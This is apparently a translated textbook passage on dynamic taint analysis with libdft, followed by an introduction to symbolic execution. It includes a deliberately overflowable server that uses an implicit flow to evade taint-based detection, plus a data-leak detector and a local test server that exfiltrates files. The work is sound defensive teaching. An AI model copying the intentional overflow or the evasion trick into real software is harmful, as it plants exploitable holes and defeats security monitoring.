接下来,服务器的诊断打印告诉你,它即将执行攻击者控制的echo命令 ➏。幸运的是,这次dta-execve在为时已晚之前拦截了execv ➐。它检查所有execv参数的污点,从execv命令开始 ➑。由于该命令是通过网络传输的缓冲区溢出由攻击者控制的,dta-execve注意到该命令被污点标记为颜色0x01。它发出警报并停止了即将执行攻击者命令的子进程,从而成功阻止了攻击 ➒。唯一回写给攻击者的服务器输出是他们自己提供的前缀字符串 ➓,因为它是在execv之前打印的,而execv导致dta-execve中止子进程。

11.3 绕过 DTA 的隐式流

到目前为止,一切顺利:dta-execve成功检测并阻止了上一节中的控制劫持攻击。不幸的是,dta-execve并不是万无一失的,因为像libdft这样的实际 DTA 系统无法跟踪通过隐式流传播的数据。列表 11-9 展示了修改后的execve-test-overflow服务器,其中包含一个隐式流,使得dta-execve无法检测到攻击。为了简洁起见,列表仅显示与原始服务器不同的代码部分。

清单 11-9: execve-test-overflow-implicit.c

  int
  exec_cmd(char *buf)
  {
    int pid;
    int p[2];
    char *argv[3];

➊   for(size_t i = 0; i < strlen(buf); i++) {
       if(buf[i] == '\n') {
         cmd.prefix[i] = '\0';
         break;
       }
➋      char c = 0;
➌      while(c < buf[i]) c++;
➍      cmd.prefix[i] = c;
    }

    /* Set up argv and continue with execv */
  }

代码中唯一修改的部分是exec_cmd函数,它包含一个易受攻击的for循环,将接收缓冲区buf中的所有字节复制到全局prefix缓冲区 ➊。与之前一样,该循环没有边界检查,因此如果buf中的消息过长,prefix将溢出。然而,现在字节是隐式复制的,以至于溢出没有被 DTA 工具检测到!

正如第十章中所解释的那样,隐式流是控制依赖性的结果,这意味着数据传播依赖于控制结构,而不是显式的数据操作。在清单 11-9 中,控制结构是一个while循环。对于每个字节,修改后的exec_cmd函数将char c初始化为零 ➋,然后使用while循环递增c,直到它的值与buf[i]相同 ➌,从而有效地将buf[i]复制到c中,而从未显式地复制任何数据。最后,c被复制到prefix中 ➍。

最终,这段代码的效果与原版的execve-test-overflow相同:buf被复制到prefix中。然而,关键在于bufprefix之间没有显式的数据流,因为从buf[i]c的复制是通过while循环实现的,避免了显式的数据复制。这引入了buf[i]c之间的控制依赖关系(因此,传递性地也在buf[i]prefix[i]之间),而libdft无法追踪这种依赖关系。

当你通过将execve-test-overflow替换为execve-test-overflow-implicit来重试清单 11-8 中的攻击时,你会发现尽管dta-execve提供了保护,攻击现在仍然会成功!

你可能会注意到,如果你使用 DTA 来防止针对你控制的服务器的攻击,你可以通过编写服务器代码,避免那些会混淆libdft的隐式流。虽然在大多数情况下这可能是可行的(尽管不简单),但在恶意软件分析中,你会发现很难绕过隐式流的问题,因为你无法控制恶意软件的代码,而恶意软件可能故意包含隐式流来混淆污点分析。

11.4 基于 DTA 的数据外泄检测器

前一个示例工具只需要一个污点颜色,因为字节要么由攻击者控制,要么不由攻击者控制。现在让我们构建一个使用多个污点颜色来检测基于文件的信息泄露的工具,这样当文件发生泄漏时,你就能知道是哪一个文件。这个工具的思路与第十章中你看到的针对 Heartbleed 漏洞的污点防御类似,不同之处在于这里的工具使用文件读取而不是内存缓冲区作为污点源。

清单 11-10 展示了这个新工具的第一部分,我将其称为dta -dataleak。为了简洁起见,我省略了标准 C 头文件的包含。

清单 11-10: dta-dataleak.cpp

➊  #include "pin.H"

   #include  "branch_pred.h"
   #include  "libdft_api.h"
   #include  "syscall_desc.h"
   #include  "tagmap.h"

➋  extern syscall_desc_t syscall_desc[SYSCALL_MAX];
➌  static std::map<int, uint8_t> fd2color;
➍  static std::map<uint8_t, std::string> color2fname;

➎  #define MAX_COLOR 0x80

   void alert(uintptr_t addr, uint8_t tag);
   static void post_open_hook(syscall_ctx_t *ctx);
   static void post_read_hook(syscall_ctx_t *ctx);
   static void pre_socketcall_hook(syscall_ctx_t *ctx);

   int
   main(int argc, char **argv)
   {
     PIN_InitSymbols();

     if(unlikely(PIN_Init(argc, argv))) {
       return 1;
     }

     if(unlikely(libdft_init() != 0)) {
       libdft_die();
       return 1;
     }

➏  syscall_set_post(&syscall_desc[__NR_open], post_open_hook);
➐  syscall_set_post(&syscall_desc[__NR_read], post_read_hook);
➑  syscall_set_pre (&syscall_desc[__NR_socketcall], pre_socketcall_hook);

   PIN_StartProgram();

   return 0;
 }

与前一个 DTA 工具相同,dta-dataleak包含了pin.H以及所有相关的libdft头文件➊。它还包括现在熟悉的extern声明的syscall_desc数组➋,用于钩住污点源和污点接收点的系统调用。此外,dta-dataleak定义了一些在dta-execve中没有的数据结构。

其中第一个,fd2color,是一个 C++ map,将文件描述符映射到污点颜色➌。第二个也是一个 C++ map,名为color2fname,它将污点颜色映射到文件名➍。你将在接下来的几个列表中看到为什么需要这些数据结构。

还有一个常量的#define,名为MAX_COLOR ➎,它是最大可能的污点颜色值0x80

dta-dataleakmain函数几乎与dta-execvemain函数完全相同,它初始化了 Pin 和libdft,然后启动应用程序。唯一的区别是dta-dataleak定义了哪些污点源和污点接收点。它安装了两个后处理钩子,分别是post_open_hook ➏和post_read_hook ➐,它们分别在openread系统调用后运行。open钩子跟踪哪些文件描述符被打开,而read钩子则是实际的污点源,它会污点化从打开文件中读取的字节,稍后我将解释。

此外,dta-dataleak还为socketcall系统调用安装了一个预处理钩子,名为pre_socketcall_hook ➑。pre_socketcall_hook是污点接收点,它拦截即将通过网络发送的任何数据,以确保在发送之前数据没有被污点化。如果任何污点数据即将泄露,pre_socketcall_hook会通过一个名为alert的函数触发警报,接下来我会解释该函数。

请记住,这个示例工具是简化的。在实际工具中,你可能需要钩住额外的污点源(如readv系统调用)和污点接收点(如在套接字上的write系统调用)以确保完整性。你还需要实现一些规则,来确定哪些文件可以通过网络泄露,哪些不能,而不是假设所有文件泄露都是恶意的。

现在让我们看一下alert函数,它在 Listing 11-11 中展示,当任何污点数据即将通过网络泄露时会调用该函数。由于它与dta-execve中的alert函数相似,我将在这里简要描述。

Listing 11-11: dta-dataleak.cpp (续)

   void
   alert(uintptr_t addr, uint8_t tag)
   {
➊   fprintf(stderr,
       "\n(dta-dataleak) !!!!!!! ADDRESS 0x%x IS TAINTED (tag=0x%02x), ABORTING !!!!!!!\n",
       addr, tag);

➋   for(unsigned c = 0x01; c <= MAX_COLOR; c <<= 1) {
➌     if(tag & c) {
➍       fprintf(stderr, " tainted by color = 0x%02x (%s)\n", c, color2fname[c].c_str());
      }
    }
➎   exit(1);
  }

alert 函数通过显示警告信息开始,详细说明哪个地址被污染,以及使用了哪些颜色 ➊。有可能通过网络泄漏的数据受到多个文件的影响,因此被多个颜色污染。因此,alert 会遍历所有可能的污染颜色 ➋,并检查哪些颜色存在于导致警告的被污染字节的标签中 ➌。对于标签中启用的每个颜色,alert 会打印颜色和相应的文件名 ➍,这些信息是从 color2fname 数据结构中读取的。最后,alert 调用 exit 以停止应用程序并防止数据泄漏 ➎。

接下来,我们来查看 dta-dataleak 工具的污染源。

11.4.1 污染源:跟踪已打开文件的污染

正如我刚刚提到的,dta-dataleak 安装了两个系统调用后处理程序:一个用于 open 系统调用的钩子,用于跟踪已打开的文件,另一个用于 read 系统调用的钩子,用于污染从打开的文件中读取的字节。我们首先来看 open 钩子的代码,然后再看 read 处理程序。

跟踪已打开的文件

清单 11-12 显示了 post_open_hook 的代码,这是 open 系统调用的后处理函数。

清单 11-12: dta-dataleak.cpp (续)

   static void
   post_open_hook(syscall_ctx_t *ctx)
   {
➊   static uint8_t next_color = 0x01;
     uint8_t color;
➋   int fd            =         (int)ctx->ret;
➌   const char *fname = (const char*)ctx->arg[SYSCALL_ARG0];

➍   if(unlikely((int)ctx->ret < 0)) {
       return;
     }

➎   if(strstr(fname, ".so") || strstr(fname, ".so.")) {
       return;
     }

     fprintf(stderr, "(dta-dataleak) opening %s at fd %u with color 0x%02x\n",
            fname, fd, next_color);

➏    if(!fd2color[fd]) {
        color = next_color;
        fd2color[fd] = color;
➐      if(next_color < MAX_COLOR) next_color <<= 1;
➑    } else {
       /* reuse color of file with same fd that was opened previously */
       color = fd2color[fd];
     }

     /* multiple files may get the same color if the same fd is reused
     * or we run out of colors */
➒   if(color2fname[color].empty()) color2fname[color] = std::string(fname);
➓   else color2fname[color] += " | " + std::string(fname);
  }

回顾一下,dta-dataleak 的目的是检测泄漏从文件中读取的数据的泄漏尝试。为了让 dta-dataleak 能够告诉 哪个 文件正在泄漏,它为每个已打开的文件分配一个不同的颜色。open 系统调用处理程序 post_open_hook 的目的是在文件打开时为每个文件描述符分配一个污染颜色。它还会过滤掉一些不感兴趣的文件,例如共享库。在实际的 DTA 工具中,你可能需要实现更多的过滤器来控制保护哪些文件免受信息泄漏。

为了跟踪下一个可用的污染颜色,post_open_hook 使用一个名为 next_colorstatic 变量,该变量初始化为颜色 0x01 ➊。接下来,它解析刚刚发生的 open 系统调用的系统调用上下文(ctx),以获取文件描述符 fd ➋ 和刚打开文件的文件名 fname ➌。 如果 open 失败 ➍ 或者打开的文件是一个不需要跟踪的共享库 ➎,post_open_hook 会返回并且不会为该文件分配任何颜色。要确定文件是否是共享库,post_open_hook 会检查文件名是否包含表示共享库的文件扩展名,如 .so。在实际工具中,你可能需要使用更强大的检查方式,比如打开一个疑似共享库并验证它是否以 ELF 魔术字节开头(参见 第二章)。

如果文件足够重要以分配污染颜色,post_open_hook 会区分两种情况:

  1. 如果文件描述符尚未分配颜色(换句话说,fdfd2color 映射中没有条目),则 post_open_hook 会将 next_color 分配给该文件描述符 ➏,并通过将其左移 1 位来推进 next_color

    请注意,由于libdft仅支持八种颜色,如果应用程序打开了过多文件,可能会用完所有颜色。因此,post_open_hook仅在next_color达到最大颜色0x80 ➐之前推进颜色的使用。之后,颜色0x80将用于所有随后打开的文件。实际上,这意味着颜色0x80可能不仅仅对应一个文件,而是对应一个文件列表。因此,当一个带有颜色0x80的字节泄露时,你可能无法确切知道该字节来自哪个文件,只知道它来自列表中的某个文件。不幸的是,这是为了通过仅支持八种颜色来保持影子内存小而必须付出的代价。

  2. 有时,一个文件描述符会在某个时刻被关闭,然后同样的文件描述符编号会被重用来打开另一个文件。在这种情况下,fd2color已经包含了该文件描述符编号的颜色 ➑。为了简化处理,我直接重用已存在的颜色来表示重用的文件描述符,这意味着该颜色现在将对应一个文件列表,而不仅仅是一个文件,正如你用完颜色时的情况一样。

post_open_hook的末尾,color2fname映射会更新为刚刚打开文件的文件名 ➒。这样,当数据泄露时,你可以使用泄露数据的污点颜色查找相应文件的名称,正如你在alert函数中看到的那样。如果由于某些原因,污点颜色被重用于多个文件,那么该颜色在color2fname中的条目将是一个由管道符(|)分隔的文件名列表 ➓。

污点文件读取

现在每个打开的文件都与一个污点颜色相关联,让我们来看一下post_read_hook函数,该函数会将从文件中读取的字节标记为该文件的颜色。列表 11-13 展示了相关的代码。

列表 11-13: dta-dataleak.cpp (续)

   static void
   post_read_hook(syscall_ctx_t *ctx)
   {
➊    int fd     =    (int)ctx->arg[SYSCALL_ARG0];
➋    void *buf  =  (void*)ctx->arg[SYSCALL_ARG1];
➌    size_t len = (size_t)ctx->ret;
     uint8_t color;

➍    if(unlikely(len <= 0)) {
       return;
     }

     fprintf(stderr, "(dta-dataleak) read: %zu bytes from fd %u\n", len, fd);

➎    color = fd2color[fd];
➏    if(color) {
        fprintf(stderr, "(dta-dataleak) tainting bytes %p -- 0x%x with color 0x%x\n",
               buf, (uintptr_t)buf+len, color);
➐      tagmap_setn((uintptr_t)buf, len, color);
➑    } else {
       fprintf(stderr, "(dta-dataleak) clearing taint on bytes %p -- 0x%x\n",
               buf, (uintptr_t)buf+len);
➒      tagmap_clrn((uintptr_t)buf, len);
     }
   }

首先,post_read_hook解析系统调用上下文中的相关参数和返回值,以获得正在读取的文件描述符(fd) ➊,读取字节的缓冲区(buf) ➋,以及读取的字节数(len) ➌。如果len小于或等于零,则表示没有读取任何字节,因此post_read_hook将不做任何污点标记 ➍。

否则,它通过从fd2color ➎读取来获取fd的污点颜色。如果fd有一个关联的污点颜色 ➏,post_read_hook使用tagmap_setn将所有读取的字节标记为该颜色 ➐。也可能发生fd没有关联颜色 ➑,这意味着它指向一个无关紧要的文件,如共享库。在这种情况下,我们通过使用libdft函数tagmap_clrn来清除read系统调用覆盖的地址上的任何污点 ➒。这会清除任何先前被标记的缓冲区的污点,该缓冲区被重新用于读取未被标记的字节。

11.4.2 污点汇聚点:监控网络发送以防止数据外泄

最后,清单 11-14 展示了 dta-dataleak 的污点处理器,即拦截网络发送并检查是否有数据外泄尝试的 socketcall 处理程序。它与你在 dta-execve 工具中看到的 socketcall 处理程序类似,只是它检查的是发送字节的污点,而不是对接收字节应用污点。

清单 11-14: dta-dataleak.cpp (续)

   static void
   pre_socketcall_hook(syscall_ctx_t *ctx)
   {
     int fd;
     void *buf;
     size_t i, len;
     uint8_t tag;
     uintptr_t start, end, addr;

➊   int call            =            (int)ctx->arg[SYSCALL_ARG0];
➋   unsigned long *args = (unsigned long*)ctx->arg[SYSCALL_ARG1];

     switch(call) {
➌    case SYS_SEND:
     case SYS_SENDTO:
➍     fd  =    (int)args[0];
       buf =  (void*)args[1];
       len = (size_t)args[2];

       fprintf(stderr, "(dta-dataleak) send: %zu bytes to fd %u\n", len, fd);

       for(i = 0; i < len; i++) {
         if(isprint(((char*)buf)[i])) fprintf(stderr, "%c", ((char*)buf)[i]);
         else                         fprintf(stderr, "\\x%02x", ((char*)buf)[i]);
       }
       fprintf(stderr, "\n");

       fprintf(stderr, "(dta-dataleak) checking taint on bytes %p -- 0x%x...",
              buf, (uintptr_t)buf+len);

       start = (uintptr_t)buf;
       end   = (uintptr_t)buf+len;
➎     for(addr = start; addr <= end; addr++) {
➏        tag = tagmap_getb(addr);
➐        if(tag != 0) alert(addr, tag);
       }

       fprintf(stderr, "OK\n");
          break;

       default:
          break;
       }
    }

首先,pre_socketcall_hook 获取 call ➊ 和 args ➋ 参数用于 socketcall。然后,它对 call 使用一个 switch,类似于你在 dta-execvesocketcall 处理程序中看到的那个,区别在于这个新的 switch 检查的是 SYS_SENDSYS_SENDTO ➌,而不是 SYS_RECVSYS_RECVFROM。如果它拦截到一个发送事件,它会解析发送的参数:套接字文件描述符、发送缓冲区和要发送的字节数 ➍。在进行一些诊断打印后,代码会遍历发送缓冲区中的所有字节 ➎,并通过 tagmap_getb 获取每个字节的污点状态 ➏。如果某个字节被污染,pre_socketcall_hook 会调用 alert 函数来打印警告并停止应用程序 ➐。

这涵盖了 dta-dataleak 工具的全部代码。在下一节中,你将看到 dta-dataleak 如何检测数据外泄尝试,以及当外泄数据依赖于多个污点源时,污点颜色是如何结合的。

11.4.3 检测数据外泄尝试

为了演示 dta-dataleak 检测数据泄漏的能力,我实现了另一个简单的服务器,名为 dataleak-test-xor。为了简化起见,这个服务器“泄漏”被污染的文件到套接字,但 dta-dataleak 可以以相同的方式检测通过漏洞泄漏的文件。清单 11-15 显示了该服务器的相关代码。

清单 11-15: dataleak-test-xor.c

   int
   main(int argc, char *argv[])
   {
     size_t i, j, k;
     FILE *fp[10];
     char buf[4096], *filenames[10];
     struct sockaddr_storage addr;

     srand(time(NULL));

➊   int sockfd = open_socket("localhost", "9999");

     socklen_t addrlen = sizeof(addr);
➋   recvfrom(sockfd, buf, sizeof(buf), 0, (struct sockaddr*)&addr, &addrlen);

➌   size_t fcount = split_filenames(buf, filenames, 10);

➍   for(i = 0; i < fcount; i++) {
       fp[i] = fopen(filenames[i], "r");
     }

➎   i = rand() % fcount;
     do { j = rand() % fcount; } while(j == i);

     memset(buf1, '\0', sizeof(buf1));
     memset(buf2, '\0', sizeof(buf2));

➏   while(fgets(buf1, sizeof(buf1), fp[i]) && fgets(buf2, sizeof(buf2), fp[j])) {
       /* sizeof(buf)-1 ensures that there will be a final NULL character
        * regardless of the XOR-ed values */
       for(k = 0; k < sizeof(buf1)-1 && k < sizeof(buf2)-1; k++) {
➐       buf1[k] ˆ= buf2[k];
       }
➑     sendto(sockfd, buf1, strlen(buf1)+1, 0, (struct sockaddr*)&addr, addrlen);
     }

     return 0;
   }

服务器在 localhost 9999 端口上打开一个套接字 ➊ 并用它接收一个包含文件名列表的消息 ➋。它使用一个名为 split_filenames 的函数将此列表分割成单个文件名,这个函数在清单中省略 ➌。接下来,它打开所有请求的文件 ➍,然后随机选择两个已打开的文件 ➎。请注意,在 dta-dataleak 的实际使用场景中,文件会通过漏洞访问,而不是由服务器主动释放。为了演示这个例子,服务器逐行读取两个随机选择的文件的内容 ➏,将每对行(每个文件中的一行)通过 XOR 操作结合起来 ➐。结合这些行会导致 dta-dataleak 合并它们的污点颜色,从而演示污点合并的过程。最后,两个 XOR 后的行结果通过网络发送 ➑,提供一个“数据泄漏”,供 dta-dataleak 检测。

现在,让我们看看 dta-dataleak 是如何检测数据泄漏尝试的,特别是当泄漏数据依赖于多个文件时,污点颜色是如何合并的。清单 11-16 显示了运行 dataleak-test-xor 程序时在 dta-dataleak 保护下的输出。我已经将重复部分的输出缩略为“...”。

清单 11-16:使用 dta-dataleak 检测数据外泄尝试

   $ cd ~/libdft/pin-2.13-61206-gcc.4.4.7-linux/
➊ $./pin.sh -follow_execv -t ~/code/chapter11/dta-dataleak.so \
             -- ~/code/chapter11/dataleak-test-xor &

➋ (dta-dataleak) read: 512 bytes from fd 4
   (dta-dataleak) clearing taint on bytes 0xff8b34d0 -- 0xff8b36d0
   [1] 22713
➌ $ nc -u 127.0.0.1 9999
➍ /home/binary/code/chapter11/dta-execve.cpp .../dta-dataleak.cpp .../date.c .../echo.c
➎ (dta-dataleak) opening /home/binary/code/chapter11/dta-execve.cpp at fd 5 with color 0x01
   (dta-dataleak) opening /home/binary/code/chapter11/dta-dataleak.cpp at fd 6 with color 0x02
   (dta-dataleak) opening /home/binary/code/chapter11/date.c at fd 7 with color 0x04
   (dta-dataleak) opening /home/binary/code/chapter11/echo.c at fd 8 with color 0x08
➏ (dta-dataleak) read: 155 bytes from fd 8
   (dta-dataleak) tainting bytes 0x872a5c0 -- 0x872a65b with color 0x8
➐ (dta-dataleak) read: 3923 bytes from fd 5
   (dta-dataleak) tainting bytes 0x872b5c8 -- 0x872c51b with color 0x1
➑ (dta-dataleak) send: 20 bytes to fd 4
   \x0cCdclude <stdio.h>\x0a\x00
➒ (dta-dataleak) checking taint on bytes 0xff8b19cc -- 0xff8b19e0...
➓ (dta-dataleak) !!!!!!! ADDRESS 0xff8b19cc IS TAINTED (tag=0x09), ABORTING !!!!!!!
     tainted by color = 0x01 (/home/binary/code/chapter11/dta-execve.cpp)
     tainted by color = 0x08 (/home/binary/code/chapter11/echo.c)
   [1]+ Exit 1 ./pin.sh -follow_execv -t ~/code/chapter11/dta-dataleak.so ...

这个示例使用 Pin 运行 dataleak-test-xor 服务器,使用 dta-dataleak 作为 Pin 工具来防止数据泄漏 ➊。立即出现了第一次与 dataleak-test-xor 加载过程相关的 read 系统调用 ➋。由于这些字节是从共享库中读取的,而共享库没有关联的污点颜色,dta-dataleak 会忽略该读取。

接下来,示例启动一个 netcat 会话,连接到服务器 ➌,并发送一个文件名列表以便打开 ➍。dta-dataleak 工具拦截所有这些文件的 open 事件,并为每个文件分配一个污点颜色 ➎。然后,服务器随机选择两个将要泄漏的文件。在本例中,这两个文件分别是文件描述符 8 ➏ 和 5 ➐。

对于这两个文件,dta-dataleak 拦截了 read 事件,并使用文件的关联污点颜色(分别为 0x080x01)标记读取的字节。接着,dta-dataleak 拦截了服务器发送文件内容的尝试,这些内容现在已经通过 XOR 运算结合在一起,并通过网络传输 ➑。

它检查服务器即将发送的字节上的污点 ➒,发现这些字节被标签 0x09 ➓ 污染,因此打印警告并终止程序。标签 0x09 是两个污点颜色 0x010x08 的组合。从警告中可以看出,这些颜色分别对应于文件 dta-execve.cppecho.c

如您所见,污点分析使得识别信息泄漏变得简单,并且能够准确知道哪些文件被泄漏了。此外,您可以使用合并后的污点颜色来判断哪些污点源对字节的值做出了贡献。即使只有八种污点颜色,仍然有无数种方法可以构建强大的 DTA 工具!

11.5 小结

在本章中,您了解了 libdft 的内部结构,这是一个流行的开源 DTA 库。您还看到了使用 libdft 检测两种常见攻击的实际示例:控制劫持和数据外泄。现在,您应该已经准备好开始构建自己的 DTA 工具了!

练习

1. 实现格式化字符串漏洞检测器

使用 libdft 实现您在上一章中设计的格式化字符串漏洞检测工具。创建一个可利用的程序和一个格式化字符串漏洞来测试您的检测器。同时,创建一个具有隐式流的程序,允许格式化字符串漏洞在您的检测工具下仍然成功。

提示:你不能直接使用libdft钩取printf,因为它不是系统调用(syscall)。相反,你需要找到其他方法,例如使用指令级钩子(libdftins_set_pre),检查对printf PLT 存根的调用。为了本练习的目的,你可以做一些简化假设,例如没有间接调用printf,并且 PLT 存根的地址是固定且硬编码的。

如果你在寻找一个关于指令级钩子(instruction-level hooking)的实际示例,可以查看随libdft一起提供的libdft-dta.c工具!

第十二章:符号执行的原理

符号执行跟踪程序状态的元数据,就像污点分析一样。但与污点信息不同,污点信息仅让你推测哪一部分程序状态影响了另一部分,而符号执行让你推理程序状态是如何变化的,以及如何到达不同的程序状态。正如你将看到的,符号执行使得许多其他技术无法实现的强大分析成为可能。

我将以符号执行的基础知识概述开始这一章节。接着,你将深入了解约束求解(特别是SMT 求解),它是符号执行的一个基本构建块。在第十三章中,你将使用 Triton,一个二进制级别的符号执行库,构建实际工具,展示符号执行的能力。

12.1 符号执行概述

符号执行,简称symbex,是一种软件分析技术,它通过逻辑公式表达程序状态,你可以自动推理这些公式,以回答关于程序行为的复杂问题。例如,NASA 使用符号执行生成任务关键代码的测试用例,硬件制造商使用它测试用硬件描述语言(如 Verilog 和 VHDL)编写的代码。你也可以使用符号执行通过生成新的输入来自动增加动态分析的代码覆盖率,这些输入可以引导程序走向未探索的路径,这对于软件测试和恶意软件分析非常有用。在第十三章中,你将看到使用 symbex 的实际例子,演示如何实现代码覆盖、实现逆向切片,甚至自动生成漏洞的利用代码!

不幸的是,尽管符号执行是一项强大的技术,但由于可扩展性问题,你必须谨慎且有选择地应用它。例如,根据你解决的符号执行问题的类型,复杂度可能会呈指数级增长,甚至导致计算解决方案变得完全无法处理。你将在第 12.1.3 节中学习如何最小化这些可扩展性问题,但首先让我们回顾一下符号执行的基本工作原理。

12.1.1 符号执行与具体执行

Symbex 使用符号值执行(或模拟)应用程序,而不是在正常运行程序时使用的具体值。这意味着变量不会像在正常执行中那样包含特定值,比如42foobar。相反,某些或所有变量(在二进制分析的上下文中,是寄存器或内存位置)由一个符号表示,该符号代表变量可能取的任何值。当执行进行时,符号执行会对这些符号计算逻辑公式。这些公式表示在执行过程中对符号执行的操作,并描述符号能够表示的值的范围。

正如我将解释的那样,许多 symbex 引擎保持符号和公式作为元数据 除了 具体值之外,而不是替换具体值,这类似于污点分析如何跟踪污点元数据。Symbex 引擎维护的符号值和公式集合称为 符号状态。让我们先看看符号状态是如何组织的,然后看一个符号执行过程中符号状态如何变化的具体示例。

符号状态

符号执行操作在符号值上,这些符号值代表任何可能的具体值。我将符号值表示为 α[i],其中 i 是整数 (iN)。Symbex 引擎在这些符号值上计算两种不同类型的公式:一组 符号表达式路径约束。此外,它还维护一个变量的映射(或在二进制 symbex 的情况下,寄存器和内存位置)到符号表达式。我将路径约束和所有符号表达式及映射的组合称为 符号状态

符号表达式 一个符号表达式 ϕ[j],其中 jN,要么对应一个符号值 α[i],要么是某些符号表达式的数学组合,例如 ϕ[3] = ϕ[1] + ϕ[2]。我将用 σ 表示 符号表达式存储,它是符号执行中使用的所有符号表达式的集合。正如我之前提到的,二进制级别的 symbex 将所有或部分寄存器和内存位置映射到 σ 中的一个表达式。

路径约束 路径约束编码了在执行过程中,由所采取的分支对符号表达式施加的限制。例如,如果符号执行先走分支 if(x < 5),然后又走分支 if(y >= 4),其中 xy 分别映射到符号表达式 ϕ[1] 和 ϕ[2],则路径约束公式变为 ϕ[1] < 5 ∧ ϕ[2] ≥ 4。我将路径约束表示为符号 π

在符号执行的文献中,路径约束有时被称为 分支约束。在本书中,我将使用术语 分支约束 来指代由单个分支施加的约束,使用 路径约束 来指代沿着程序路径累积的所有分支约束的结合。

符号执行一个示例程序

让我们通过 Listing 12-1 中的伪代码来具体化符号执行的概念。

Listing 12-1:用伪代码示例说明符号执行

➊ x = int(argv[0])
   y = int(argv[1])

➋ z = x + y
➌ if(x >= 5)
      foo(x, y, z)
      y = y + z
      if(y < x)
          baz(x, y, z)
      else
          qux(x, y, z)
➍ else
      bar(x, y, z)

这个伪代码程序从用户输入中获取两个整数,分别为 xy。本节中探索的示例使用符号执行来查找覆盖代码路径的用户输入,这些路径分别指向 foobar 函数。为了实现这一点,你将 xy 表示为符号值,然后通过符号执行程序来计算路径约束和程序操作对 xy 施加的符号表达式。最后,你通过求解这些公式来找到具体的值(如果它们存在)以使得 xy 使程序遍历每个路径。图 12-1 展示了符号状态如何在所有可能的路径中发展。

图片

图 12-1:示例函数中所有路径的路径约束和符号状态

列表 12-1 从读取用户输入的 xy 开始 ➊。正如在 图 12-1 中所看到的,路径约束 π 初始时设置为 ┬,即恒真符号。这表示尚未执行任何分支,因此没有施加约束。类似地,符号表达式存储最初为空集。读取 x 后,符号执行引擎创建了一个新的符号表达式 ϕ[1] = α[1],这对应于一个无约束的符号值,可以表示任何具体值,并将 x 映射到该表达式。读取 y 时,发生类似的效果,将 y 映射到 ϕ[2] = α[2]。接着,操作 z = x + y ➋ 使得符号执行引擎将 z 映射到一个新的符号表达式 ϕ[3] = ϕ[1] + ϕ[2]。

假设符号执行引擎首先探索条件 if(x >= 5) ➌ 的 true 分支。为了实现这一点,引擎将分支约束 ϕ[1] ≥ 5 添加到 π 中,并继续在分支目标处进行符号执行,这就是调用 foo。回想一下,目标是找到能导致程序到达 foobar 函数的具体用户输入。因为你现在已经到达了 foo 的调用点,所以你可以求解表达式和分支约束,从而找到使得程序到达该 foo 调用的具体 xy 值。

在执行的这一点,xy 映射到符号表达式 ϕ[1] = α[1] 和 ϕ[2] = α[2],分别,α[1] 和 α[2] 是唯一的符号值。而且,你只有一个分支约束条件:ϕ[1] ≥ 5. 因此,达到 foo 调用的一个可能解决方案是 α[1] = 5 ∧ α[2] = 0. 这意味着,如果你正常运行程序(即具体执行),并且用户输入 x = 5 和 y = 0,你将会到达 foo 的调用。请注意,α[2] 可以取任何值,因为它没有出现在路径约束中的任何符号表达式里。

像你刚才看到的那种解决方案叫做模型。通常,你会通过一个叫做约束求解器的特殊程序自动计算模型,该程序能够求解符号值,以满足所有的约束和符号表达式,正如你在第 12.2 节中将要学习的那样。

现在假设你想知道如何到达对 bar 的调用。为此,你必须避开 if(x >= 5) 分支,改走 else 分支 ➍。因此,你将旧的路径约束 ϕ[1] ≥ 5 改为 ϕ[1] < 5,并请求约束求解器提供一个新的模型。在这种情况下,一个可能的模型是 α[1] = 4 ∧ α[2] = 0。在某些情况下,求解器可能还会报告没有解决方案,意味着该路径是不可达的。

一般来说,无法覆盖一个复杂程序的所有路径,因为随着分支数量的增加,可能路径的数量呈指数增长。在第 12.1.3 节中,你将学习如何使用启发式方法来决定探索哪些路径。

正如我提到的,符号执行有几个变种,其中一些与刚才讨论的示例略有不同。让我们来看看这些符号执行的其他变种,并探讨它们的权衡。

12.1.2 符号执行的变种和局限性

像污点分析引擎一样,symbex 引擎通常被设计为一个框架,你可以用它来构建自己的 symbex 工具。许多 symbex 引擎实现了来自多个符号执行变种的方面,并允许你在它们之间进行选择。因此,熟悉这些设计决策的权衡是非常重要的。

图 12-2 展示了 symbex 实现的最重要的设计维度,每个维度在树的每一层中都有体现。

静态与动态 该 symbex 实现是基于静态分析还是动态分析?

在线与离线 symbex 引擎是否并行探索多条路径(在线)或不探索(离线)?

符号状态 程序状态的哪些部分是符号表示的,哪些是具体的?符号内存访问是如何处理的?

路径覆盖 符号分析探索了哪些(以及多少)程序路径?

image

图 12-2:符号执行设计维度

让我们讨论一下这些设计决策及其在性能、局限性和完整性方面的权衡。

静态符号执行(SSE)

像大多数软件和二进制分析技术一样,符号执行存在静态和动态两种变体,在可扩展性和完整性方面有不同的权衡。传统上,符号执行是一种静态分析技术,通过模拟程序的一部分,在每个模拟的指令中传播符号状态。这种类型的符号执行也称为静态符号执行(SSE)。它要么穷尽所有可能的路径,要么使用启发式方法决定遍历哪些路径。

SSE 的一个优点是,它使您能够分析在您的 CPU 上无法运行的程序。例如,您可以在 x86 机器上分析 ARM 二进制文件。另一个好处是,您可以仅模拟二进制的一部分(例如,单个函数),而不是整个程序。

缺点是,由于可扩展性问题,在每个分支探索两个方向并不总是可能的。虽然您可以使用启发式方法限制探索的分支数量,但提出有效的启发式方法来捕获所有有趣的路径并非易事。

此外,某些应用程序行为的部分内容很难通过 SSE 正确建模,特别是当控制流流出应用程序,进入符号执行引擎无法控制的软件组件时,例如内核或库。这种情况通常发生在程序发出系统调用或库调用、接收信号、尝试读取环境变量等操作时。为了解决这个问题,您可以使用以下解决方案,尽管每个方案都有其自身的缺点:

效果建模 一种常见的方法是,SSE 引擎模拟外部交互的效果,例如系统调用和库调用。这些模型是系统或库调用对符号状态产生的效果的“总结”。(请注意,model这个词在此处与约束求解器返回的模型无关。)

在性能方面,效果建模是一种相对廉价的解决方案。然而,创建适用于所有可能环境交互的准确模型——包括与网络、文件系统和其他进程的交互——是一项巨大的任务,可能涉及创建模拟的符号文件系统、符号网络栈等。更糟糕的是,如果要模拟不同的操作系统或内核,模型必须重新编写。因此,模型在实际应用中往往是不完整或不准确的。

直接外部交互 另外,符号执行引擎可以直接执行外部交互。例如,符号执行引擎可以直接进行系统调用,而不是仅模拟系统调用的效果,并将实际的返回值和副作用并入符号状态。

尽管这种方法简单,但当多个路径并行探索并执行竞争性外部交互时,会导致问题。例如,如果多个路径并行操作同一个物理文件,如果更改冲突,可能会导致一致性问题。

